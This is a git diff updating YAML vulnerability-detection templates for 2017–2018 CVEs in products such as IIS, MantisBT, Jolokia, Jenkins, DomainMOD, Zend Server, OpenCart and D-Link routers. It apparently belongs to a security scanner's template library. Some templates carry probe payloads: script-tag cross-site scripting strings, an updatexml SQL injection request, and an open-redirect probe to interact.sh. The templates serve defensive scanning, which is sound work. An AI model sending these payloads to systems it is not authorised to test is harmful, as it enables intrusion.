b/cves/2017/CVE-2017-7269.yaml @@ -10,12 +10,13 @@ info: - https://blog.0patch.com/2017/03/0patching-immortal-cve-2017-7269.html - https://github.com/danigargu/explodingcan/blob/master/explodingcan.py - https://nvd.nist.gov/vuln/detail/CVE-2017-7269 + - https://github.com/edwardz246003/IIS_exploit classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-7269 cwe-id: CWE-119 - tags: cve,cve2017,rce,windows,iis + tags: cve,cve2017,rce,windows,iis,kev requests: - method: OPTIONS @@ -30,7 +31,6 @@ requests: - "IIS/6.0" - type: dsl - part: header dsl: - regex("", dasl) # lowercase header name: DASL - regex("[\d]+(,\s+[\d]+)?", dav) # lowercase header name: DAV @@ -41,4 +41,5 @@ requests: - type: status status: - 200 + # Enhanced by mp on 2022/05/11 diff --git a/cves/2017/CVE-2017-7391.yaml b/cves/2017/CVE-2017-7391.yaml index 9113c6f453..0d5e78e67b 100644 --- a/cves/2017/CVE-2017-7391.yaml +++ b/cves/2017/CVE-2017-7391.yaml @@ -1,13 +1,15 @@ id: CVE-2017-7391 info: - name: Magmi Cross-Site Scripting v.0.7.22 + name: Magmi 0.7.22 - Cross-Site Scripting author: pikpikcu severity: medium - description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL. + description: Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL. reference: - https://github.com/dweeves/magmi-git/issues/522 - https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip + - https://github.com/dweeves/magmi-git/pull/525 + - https://nvd.nist.gov/vuln/detail/CVE-2017-7391 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 @@ -35,3 +37,5 @@ requests: part: header words: - "text/html" + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-7615.yaml b/cves/2017/CVE-2017-7615.yaml index 304919ddbc..4181cd4b74 100644 --- a/cves/2017/CVE-2017-7615.yaml +++ b/cves/2017/CVE-2017-7615.yaml @@ -6,20 +6,23 @@ id: CVE-2017-7615 # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1]. info: - name: MantisBT <=2.30 - Arbitrary Password Reset and Unauthenticated Admin Access + name: MantisBT <=2.30 - Arbitrary Password Reset/Admin Access author: bp0lr,dwisiswant0 severity: high - description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php. + description: | + MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php. reference: - https://sourceforge.net/projects/mantisbt/files/mantis-stable/ - http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt - https://www.exploit-db.com/exploits/41890 + - http://www.openwall.com/lists/oss-security/2017/04/16/2 + - https://nvd.nist.gov/vuln/detail/CVE-2017-7615 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2017-7615 cwe-id: CWE-640 - tags: cve,cve2017,mantisbt + tags: cve,cve2017,mantisbt,unauth,edb requests: - method: GET @@ -34,10 +37,12 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "?mimeType=text/html" - - "{{BaseURL}}/api/jolokia/read?mimeType=text/html" + - "{{BaseURL}}/api/jolokia/read?mimeType=text/html" + - "{{BaseURL}}/jolokia/read?mimeType=text/html" + + stop-at-first-match: true matchers-condition: and matchers: + + - type: word + part: body + words: + - "" + - "java.lang.IllegalArgumentException" + - "No type with name" + condition: and + + - type: word + part: header + words: + - "text/html" + - type: status status: - 200 - - type: word - words: - - "" - part: body - - type: word - words: - - "text/html" - part: header \ No newline at end of file + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-1000130.yaml b/cves/2018/CVE-2018-1000130.yaml index 8fe310b37c..84c14ecd43 100644 --- a/cves/2018/CVE-2018-1000130.yaml +++ b/cves/2018/CVE-2018-1000130.yaml @@ -1,13 +1,15 @@ id: CVE-2018-1000130 info: - name: Jolokia Agent Proxy JNDI Code Injection + name: Jolokia Agent - JNDI Code Injection author: milo2012 severity: high - description: A JNDI Injection vulnerability exists in Jolokia agent in the proxy mode that allows a remote attacker to run arbitrary Java code on the server. + description: | + Jolokia agent is vulnerable to a JNDI injection vulnerability that allows a remote attacker to run arbitrary Java code on the server when the agent is in proxy mode. reference: - https://jolokia.org/#Security_fixes_with_1.5.0 - https://access.redhat.com/errata/RHSA-2018:2669 + - https://nvd.nist.gov/vuln/detail/CVE-2018-1000130 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 @@ -34,10 +36,12 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "Failed to retrieve RMIServer stub: javax.naming.CommunicationException: 127.0.0.1:1389" - part: body - type: status status: - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2018/CVE-2018-1000533.yaml b/cves/2018/CVE-2018-1000533.yaml index 4150363c2d..491d39117e 100644 --- a/cves/2018/CVE-2018-1000533.yaml +++ b/cves/2018/CVE-2018-1000533.yaml @@ -8,12 +8,14 @@ info: reference: - https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533 - https://nvd.nist.gov/vuln/detail/CVE-2018-1000533 + - https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html + - https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-1000533 cwe-id: CWE-20 - tags: rce,git,cve,cve2018,gitlist + tags: git,cve,cve2018,gitlist,vulhub,rce requests: - raw: diff --git a/cves/2018/CVE-2018-1000600.yaml b/cves/2018/CVE-2018-1000600.yaml index aa58c8b7ad..ec989d54d3 100644 --- a/cves/2018/CVE-2018-1000600.yaml +++ b/cves/2018/CVE-2018-1000600.yaml @@ -1,20 +1,22 @@ id: CVE-2018-1000600 info: - name: Pre-auth Fully-responded SSRF + name: Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery author: geeknik severity: high - description: A exposure of sensitive information vulnerability exists in Jenkins GitHub Plugin 1.29.1 and earlier in GitHubTokenCredentialsCreator.java that allows attackers to an attacker-specified URL using attacker-specified - credentials IDs obtained through another method, capturing credentials stored in Jenkins. + description: | + Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins. reference: - https://www.jenkins.io/security/advisory/2018-06-25/#SECURITY-915 - https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/ + - https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915 + - https://nvd.nist.gov/vuln/detail/CVE-2018-1000600 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2018-1000600 cwe-id: CWE-200 - tags: cve,cve2018,jenkins,ssrf,oast + tags: cve,cve2018,jenkins,ssrf,oast,github requests: - method: GET @@ -25,4 +27,6 @@ requests: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - - "http" \ No newline at end of file + - "http" + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2018/CVE-2018-1000671.yaml b/cves/2018/CVE-2018-1000671.yaml new file mode 100644 index 0000000000..99c741e6b3 --- /dev/null +++ b/cves/2018/CVE-2018-1000671.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-1000671 + +info: + name: Sympa version =>6.2.16 - Cross-Site Scripting + author: 0x_Akoko + severity: medium + description: Sympa version 6.2.16 and later contains a URL Redirection to Untrusted Site vulnerability in the referer parameter of the wwsympa fcgi login action that can result in open redirection and reflected cross-site scripting via data URIs. + reference: + - https://github.com/sympa-community/sympa/issues/268 + - https://www.cvedetails.com/cve/CVE-2018-1000671 + - https://vuldb.com/?id.123670 + - https://nvd.nist.gov/vuln/detail/CVE-2018-1000671 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-1000671 + cwe-id: CWE-601 + metadata: + shodan-query: http.html:"sympa" + verified: "true" + tags: cve,cve2018,redirect,sympa,debian + +requests: + - method: GET + path: + - '{{BaseURL}}/sympa?referer=http://interact.sh&passwd=&previous_action=&action=login&action_login=&previous_list=&list=&email=' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-1000856.yaml b/cves/2018/CVE-2018-1000856.yaml new file mode 100644 index 0000000000..f4f667730e --- /dev/null +++ b/cves/2018/CVE-2018-1000856.yaml @@ -0,0 +1,61 @@ +id: CVE-2018-1000856 + +info: + name: DomainMOD 4.11.01 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.11.01 is vulnerable to cross-site scripting via the segments/add.php Segment Name field. + reference: + - https://github.com/domainmod/domainmod/issues/80 + - https://nvd.nist.gov/vuln/detail/CVE-2018-1000856 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.8 + cve-id: CVE-2018-1000856 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2018,domainmod,xss,authenticated + +requests: + - raw: + + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + POST /segments/add.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&raw_domain_list=test.com&new_description=test&new_notes=test + + - | + GET /segments/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + cookie-reuse: true + redirects: true + max-redirects: 3 + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-1000861.yaml b/cves/2018/CVE-2018-1000861.yaml index 8194ae8495..8cc0cd05bf 100644 --- a/cves/2018/CVE-2018-1000861.yaml +++ b/cves/2018/CVE-2018-1000861.yaml @@ -8,12 +8,14 @@ info: reference: - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861 - https://nvd.nist.gov/vuln/detail/CVE-2018-1000861 + - https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595 + - http://web.archive.org/web/20210421212616/https://www.securityfocus.com/bid/106176 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-1000861 cwe-id: CWE-502 - tags: cve,cve2018,jenkin,rce,jenkins + tags: kev,vulhub,cve,cve2018,jenkin,rce,jenkins requests: - method: GET diff --git a/cves/2018/CVE-2018-10093.yaml b/cves/2018/CVE-2018-10093.yaml index 8cd5d56c58..91998154bb 100644 --- a/cves/2018/CVE-2018-10093.yaml +++ b/cves/2018/CVE-2018-10093.yaml @@ -1,19 +1,22 @@ id: CVE-2018-10093 info: - name: AudioCode 400HD - RCE + name: AudioCode 420HD - Remote Code Execution author: wisnupramoedya severity: high - description: AudioCodes IP phone 420HD devices using firmware version 2.2.12.126 allow Remote Code Execution. + description: | + AudioCodes IP phone 420HD devices using firmware version 2.2.12.126 allow remote code execution. reference: - https://www.exploit-db.com/exploits/46164 - https://nvd.nist.gov/vuln/detail/CVE-2018-10093 + - https://www.exploit-db.com/exploits/46164/ + - http://seclists.org/fulldisclosure/2019/Jan/38 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2018-10093 cwe-id: CWE-862 - tags: cve,cve2018,rce,iot + tags: cve,cve2018,rce,iot,audiocode,edb,seclists requests: - method: GET @@ -30,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2018/CVE-2018-10095.yaml b/cves/2018/CVE-2018-10095.yaml index 5d957e52aa..5ee13d9336 100644 --- a/cves/2018/CVE-2018-10095.yaml +++ b/cves/2018/CVE-2018-10095.yaml @@ -1,12 +1,15 @@ id: CVE-2018-10095 info: - name: Dolibarr before 7.0.2 allows XSS. + name: Dolibarr <7.0.2 - Cross-Site Scripting author: pikpikcu severity: medium description: | - Cross-site scripting (XSS) vulnerability in Dolibarr before 7.0.2 allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. + Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. reference: + - https://sysdream.com/news/lab/2018-05-21-cve-2018-10095-dolibarr-xss-injection-vulnerability/ + - https://github.com/Dolibarr/dolibarr/commit/1dc466e1fb687cfe647de4af891720419823ed56 + - https://github.com/Dolibarr/dolibarr/blob/7.0.2/ChangeLog - https://nvd.nist.gov/vuln/detail/CVE-2018-10095 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -35,3 +38,5 @@ requests: part: header words: - text/html + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-10141.yaml b/cves/2018/CVE-2018-10141.yaml index 3ad04fd6fa..1b0b5fbe7e 100644 --- a/cves/2018/CVE-2018-10141.yaml +++ b/cves/2018/CVE-2018-10141.yaml @@ -1,11 +1,12 @@ id: CVE-2018-10141 info: - name: GlobalProtect Login page XSS + name: Palo Alto Networks PAN-OS GlobalProtect <8.1.4 - Cross-Site Scripting author: dhiyaneshDk severity: medium - description: GlobalProtect Portal Login page in Palo Alto Networks PAN-OS before 8.1.4 allows an unauthenticated attacker to inject arbitrary JavaScript or HTML. + description: Palo Alto Networks PAN-OS before 8.1.4 GlobalProtect Portal Login page allows an unauthenticated attacker to inject arbitrary JavaScript or HTML, making it vulnerable to cross-site scripting. reference: + - https://security.paloaltonetworks.com/CVE-2018-10141 - https://nvd.nist.gov/vuln/detail/CVE-2018-10141 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -34,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-10201.yaml b/cves/2018/CVE-2018-10201.yaml index 7b707ae9a7..9cd2c826a6 100644 --- a/cves/2018/CVE-2018-10201.yaml +++ b/cves/2018/CVE-2018-10201.yaml @@ -8,12 +8,14 @@ info: reference: - https://packetstormsecurity.com/files/147303/Ncomputing-vSPace-Pro-10-11-Directory-Traversal.html - https://www.cvedetails.com/cve/CVE-2018-10201 + - http://www.kwell.net/kwell_blog/?p=5199 + - https://www.kwell.net/kwell/index.php?option=com_newsfeeds&view=newsfeed&id=15&Itemid=173&lang=es classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-10201 cwe-id: CWE-22 - tags: cve,cve2018,ncomputing,lfi + tags: cve2018,ncomputing,lfi,packetstorm,cve requests: - method: GET diff --git a/cves/2018/CVE-2018-10230.yaml b/cves/2018/CVE-2018-10230.yaml new file mode 100644 index 0000000000..9d1ac7b5e4 --- /dev/null +++ b/cves/2018/CVE-2018-10230.yaml @@ -0,0 +1,43 @@ +id: CVE-2018-10230 + +info: + name: Zend Server <9.13 - Cross-Site Scripting + author: marcos_iaf + severity: medium + description: | + Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter. + reference: + - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf + - https://www.zend.com/en/products/server/release-notes + - https://nvd.nist.gov/vuln/detail/CVE-2018-10230 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-10230 + cwe-id: CWE-79 + tags: cve,cve2018,xss,zend + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "is not allowed to open debug sessions" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2018/CVE-2018-10562.yaml b/cves/2018/CVE-2018-10562.yaml index b66f95704a..fe4ea6bae0 100644 --- a/cves/2018/CVE-2018-10562.yaml +++ b/cves/2018/CVE-2018-10562.yaml @@ -4,18 +4,18 @@ info: name: Dasan GPON Devices - Remote Code Execution author: gy741 severity: critical - description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping - results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output. + description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output. reference: - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py - https://nvd.nist.gov/vuln/detail/CVE-2018-10562 + - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/ classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-10562 cwe-id: CWE-78 - tags: cve,cve2018,dasan,gpon,rce,oast + tags: cve,cve2018,dasan,gpon,rce,oast,kev requests: - raw: diff --git a/cves/2018/CVE-2018-10822.yaml b/cves/2018/CVE-2018-10822.yaml index 32eabe5d4d..540bebad4b 100644 --- a/cves/2018/CVE-2018-10822.yaml +++ b/cves/2018/CVE-2018-10822.yaml @@ -1,20 +1,21 @@ id: CVE-2018-10822 info: - name: D-Link Routers - Directory Traversal + name: D-Link Routers - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the web interface on D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through - 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request. + description: D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request to the web interface. reference: - https://www.exploit-db.com/exploits/45678 + - http://sploit.tech/2018/10/12/D-Link.html - https://nvd.nist.gov/vuln/detail/CVE-2018-10822 + - https://seclists.org/fulldisclosure/2018/Oct/36 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-10822 cwe-id: CWE-22 - tags: cve,cve2018,lfi,router,dlink + tags: dlink,edb,seclists,cve,cve2018,lfi,router requests: - method: GET @@ -31,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2018/CVE-2018-10823.yaml b/cves/2018/CVE-2018-10823.yaml index 0569e9c669..cc30f6ea5a 100644 --- a/cves/2018/CVE-2018-10823.yaml +++ b/cves/2018/CVE-2018-10823.yaml @@ -1,20 +1,22 @@ id: CVE-2018-10823 info: - name: D-Link Routers - Command Injection + name: D-Link Routers - Remote Command Injection author: wisnupramoedya severity: high - description: An issue was discovered on D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 devices. An authenticated attacker - may execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals. + description: | + D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 device may allow an authenticated attacker to execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals. reference: - https://www.exploit-db.com/exploits/45676 - https://nvd.nist.gov/vuln/detail/CVE-2018-10823 + - https://seclists.org/fulldisclosure/2018/Oct/36 + - http://sploit.tech/2018/10/12/D-Link.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2018-10823 cwe-id: CWE-78 - tags: cve,cve2018,rce,iot,dlink,router + tags: cve2018,rce,iot,dlink,router,edb,seclists,cve requests: - method: GET @@ -31,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2018/CVE-2018-10956.yaml b/cves/2018/CVE-2018-10956.yaml index c193497fd8..1de95f1385 100644 --- a/cves/2018/CVE-2018-10956.yaml +++ b/cves/2018/CVE-2018-10956.yaml @@ -1,22 +1,25 @@ id: CVE-2018-10956 info: - name: IPConfigure Orchid Core VMS 2.0.5 - Unauthenticated Directory Traversal. + name: IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion author: 0x_Akoko severity: high - description: IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal. + description: | + IPConfigure Orchid Core VMS 2.0.5 is susceptible to local file inclusion. reference: - https://labs.nettitude.com/blog/cve-2018-10956-unauthenticated-privileged-directory-traversal-in-ipconfigure-orchid-core-vms/ - https://github.com/nettitude/metasploit-modules/blob/master/orchid_core_vms_directory_traversal.rb - https://www.cvedetails.com/cve/CVE-2018-10956 + - https://www.exploit-db.com/exploits/44916/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-10956 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-10956 cwe-id: CWE-22 metadata: shodan-query: http.title:"Orchid Core VMS" - tags: cve,cve2018,orchid,vms,lfi + tags: cve,cve2018,orchid,vms,lfi,edb requests: - method: GET @@ -32,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2018/CVE-2018-11231.yaml b/cves/2018/CVE-2018-11231.yaml index b6ea184ff6..07cc95c8dc 100644 --- a/cves/2018/CVE-2018-11231.yaml +++ b/cves/2018/CVE-2018-11231.yaml @@ -1,19 +1,23 @@ id: CVE-2018-11231 info: - name: Opencart Divido plugin - Sql Injection + name: Opencart Divido - Sql Injection author: ritikchaddha severity: high + description: | + OpenCart Divido plugin is susceptible to SQL injection reference: - http://foreversong.cn/archives/1183 - https://nvd.nist.gov/vuln/detail/CVE-2018-11231 - tags: opencart,sqli,cve,cve2018 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.10 cve-id: CVE-2018-11231 cwe-id: CWE-89 - description: "In the Divido plugin for OpenCart, there is SQL injection. Attackers can use SQL injection to get some confidential information." + tags: cve,cve2018,opencart,sqli + +variables: + num: "999999999" requests: - raw: @@ -21,17 +25,20 @@ requests: POST /upload/index.php?route=extension/payment/divido/update HTTP/1.1 Host: {{Hostname}} - {"metadata":{"order_id":"1 and updatexml(1,concat(0x7e,(SELECT md5(202072102)),0x7e),1)"},"status":2} + {"metadata":{"order_id":"1 and updatexml(1,concat(0x7e,(SELECT md5({{num}})),0x7e),1)"},"status":2} redirects: true max-redirects: 2 matchers-condition: and matchers: + - type: word part: body words: - - "6f7c6dcbc380aac3bcba1f9fccec991e" + - '{{md5({{num}})}}' - type: status status: - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2018/CVE-2018-11409.yaml b/cves/2018/CVE-2018-11409.yaml index 897a22b12c..b0e5756e8a 100644 --- a/cves/2018/CVE-2018-11409.yaml +++ b/cves/2018/CVE-2018-11409.yaml @@ -7,12 +7,15 @@ info: description: Splunk through 7.0.1 allows information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key. reference: - https://nvd.nist.gov/vuln/detail/CVE-2018-11409 + - https://github.com/kofa2002/splunk + - https://www.exploit-db.com/exploits/44865/ + - http://web.archive.org/web/20211208114213/https://securitytracker.com/id/1041148 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2018-11409 cwe-id: CWE-200 - tags: cve,cve2018,splunk + tags: edb,cve,cve2018,splunk requests: - method: GET diff --git a/cves/2018/CVE-2018-11709.yaml b/cves/2018/CVE-2018-11709.yaml index 6fe8e9f26f..75ba0bc4e5 100644 --- a/cves/2018/CVE-2018-11709.yaml +++ b/cves/2018/CVE-2018-11709.yaml @@ -1,13 +1,14 @@ id: CVE-2018-11709 info: - name: WordPress wpForo Forum <= 1.4.11 - Reflected Cross-Site Scripting + name: WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting author: daffainfo severity: medium description: WordPress wpForo Forum plugin before 1.4.12 for WordPress allows unauthenticated reflected cross-site scripting via the URI. reference: - https://nvd.nist.gov/vuln/detail/CVE-2018-11709 - https://wordpress.org/plugins/wpforo/#developers + - https://wpvulndb.com/vulnerabilities/9090 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 diff --git a/cves/2018/CVE-2018-11759.yaml b/cves/2018/CVE-2018-11759.yaml index 1e67c78e64..8aa02781f3 100644 --- a/cves/2018/CVE-2018-11759.yaml +++ b/cves/2018/CVE-2018-11759.yaml @@ -1,21 +1,25 @@ id: CVE-2018-11759 info: - name: Apache Tomcat JK Status Manager Access + name: Apache Tomcat JK Connect <=1.2.44 - Manager Access author: harshbothra_ severity: high - description: The Apache Web Server (httpd) specific code that normalised the requested path before matching it to the URI-worker map in Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 did not handle some edge - cases correctly. If only a sub-set of the URLs supported by Tomcat were exposed via httpd, then it was possible for a specially constructed request to expose application functionality through the reverse proxy - that was not intended for clients accessing the application via the reverse proxy. It was also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. - While there is some overlap between this issue and CVE-2018-1323, they are not identical. + description: | + Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 allows specially constructed requests to expose application functionality through the reverse proxy. It is also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. While there is some overlap between this issue and CVE-2018-1323, they are not identical. reference: - https://github.com/immunIT/CVE-2018-11759 + - https://lists.apache.org/thread.html/6d564bb0ab73d6b3efdd1d6b1c075d1a2c84ecd84a4159d6122529ad@%3Cannounce.tomcat.apache.org%3E + - http://web.archive.org/web/20210518152646/https://www.securityfocus.com/bid/105888 + - https://lists.debian.org/debian-lts-announce/2018/12/msg00007.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-11759 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-11759 cwe-id: CWE-22 - tags: cve,cve2018,apache,tomcat,status + metadata: + shodan-query: title:"Apache Tomcat" + tags: cve,cve2018,apache,tomcat requests: - method: GET @@ -25,10 +29,12 @@ requests: matchers-condition: and matchers: - - type: status - status: - - 200 - type: word words: - "JK Status Manager" + + - type: status + status: + - 200 +# Enhanced by mp on 2022/06/19 diff --git a/cves/2018/CVE-2018-11776.yaml b/cves/2018/CVE-2018-11776.yaml index 1202d3ee52..9e3b7f29e4 100644 --- a/cves/2018/CVE-2018-11776.yaml +++ b/cves/2018/CVE-2018-11776.yaml @@ -1,20 +1,22 @@ id: CVE-2018-11776 info: - name: Apache Struts2 S2-057 RCE + name: Apache Struts2 S2-057 - Remote Code Execution author: pikpikcu severity: high - description: 'Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: - results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in - same time, its upper package have no or wildcard namespace.' + description: | + Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used 